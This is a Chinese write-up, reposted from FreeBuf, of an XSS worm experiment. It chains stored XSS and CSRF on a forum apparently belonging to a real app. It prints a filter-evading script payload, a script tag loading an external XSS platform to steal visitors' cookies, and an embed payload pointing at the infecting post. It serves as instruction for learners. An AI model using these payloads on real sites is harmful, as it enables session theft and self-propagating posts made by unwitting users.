技术讨论 | 记一次XSS蠕虫渗透实验

Posted FreeBuf

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了技术讨论 | 记一次XSS蠕虫渗透实验相关的知识,希望对你有一定的参考价值。

大体思路

1.在发帖的内容处发现了存储型XSS

2.对帖子(母贴)的内容进行构造,插入CSRF POC,并对其中内容输出为302永久重定向到母感染贴

3.所有浏览此页面的用户都会自动发布一个重定向到母感染贴的子贴,重定向到母贴时又再次执行母贴中的POC再次创建一个子贴。

以上就是XSS+CSRF构造蠕虫大体的思路,下面细化各个步骤的过程,水平不高,适合XSS初学者的进阶。

一、存储型XSS

1.进入发帖处,添加初步测试payload,并查看源码:

2.观察到可以大小写混淆绕过,于是构造payload(对于屏蔽括号的可以用 ’ 来代替):

<sCrIpt>alert'xss'</sCrIpt>

技术讨论 | 记一次XSS蠕虫渗透实验

3.刷新页面观察效果,成功弹窗:

技术讨论 | 记一次XSS蠕虫渗透实验

4.插入JS脚本,利用XSS平台窃取用户cookie,这是最常用的XSS利用手法。

POC:

<sCRiPt/SrC=//60.wf/m5VP>

技术讨论 | 记一次XSS蠕虫渗透实验

二、XSS配合CSRF的初步测验

1.首先验证是否存在CSRF,同样在发布新贴处,填写标题内容,点击发布抓包:

技术讨论 | 记一次XSS蠕虫渗透实验

2.burp自带的生成CSRF POC,POST包处-》右键-》generate csrf poc -》保存-》使用另一个账号发送POC,查看自己的帖子,发现成功发送新帖。

3.编写JS脚本(可以利用Xss’or来生成)

技术讨论 | 记一次XSS蠕虫渗透实验

4.CSRF+存储型XSS将脚本插入到页面中:

技术讨论 | 记一次XSS蠕虫渗透实验

如图,内容为发布新帖的JS脚本,点击发布,就生成了新帖。

5.浏览此贴,提示成功:

技术讨论 | 记一次XSS蠕虫渗透实验

6.可以看到成功发布出去:

技术讨论 | 记一次XSS蠕虫渗透实验

7.使用其他用户浏览帖子测试——发现同样不知觉的发了个新帖,至此,XSS+CSRF的攻击已经完成:

技术讨论 | 记一次XSS蠕虫渗透实验

三、蠕虫的构造

再整理一下思路。

蠕虫的前提是子贴的内容,即点击我们母感染贴的用户所发布的子贴的内容是可控的:

技术讨论 | 记一次XSS蠕虫渗透实验

1.任意发表新帖:

技术讨论 | 记一次XSS蠕虫渗透实验

2.记录帖子的URL并点击编辑:

技术讨论 | 记一次XSS蠕虫渗透实验

3.插入JS脚本,其中控制子回传贴302重定向到母贴的URL。

payload:

<embed/src=/bang.duia.com/web/normal/topic/806440>

意为在页面中插入一个新页面,这个新页面为母贴。
技术讨论 | 记一次XSS蠕虫渗透实验

4.发布后浏览,已生成子回传贴:

技术讨论 | 记一次XSS蠕虫渗透实验

5.打开子回传贴,发现了在母贴JS脚本中构造的框架:

技术讨论 | 记一次XSS蠕虫渗透实验

6.但是在FireFox却很遗憾没有成功,打开Network发现了这样一个提示。意为无效的CORS(跨域资源共享)请求。猜测此处应该是属于白名单拦截,限制了JS的入口:

技术讨论 | 记一次XSS蠕虫渗透实验

7.通过IE可以运行:

技术讨论 | 记一次XSS蠕虫渗透实验技术讨论 | 记一次XSS蠕虫渗透实验

8.重点!!这些都不是最重要的,因为这是一个APP,所以用户基本上是依赖手机端来运行。之后在手机端上查看帖子成功通过子回传URL重定向到母贴并创建了一个新的子回传贴。虽然网站可能有WAF,电脑端IE可以蠕起来,但是发现,app端没有做任何防护,直接可以传播。

技术讨论 | 记一次XSS蠕虫渗透实验

以上是关于技术讨论 | 记一次XSS蠕虫渗透实验的主要内容,如果未能解决你的问题,请参考以下文章

渗透测试之XSS漏洞:记一次模拟注入攻击

记一次由XSS一步一步获得服务器权限的渗透测试过程

投稿一次不完整的XSS混合渗透测试记录

软件安全实验——lab11(XSS跨站脚本攻击)

安全学习记一次内网环境渗透

如何通过 XSS 获取受 http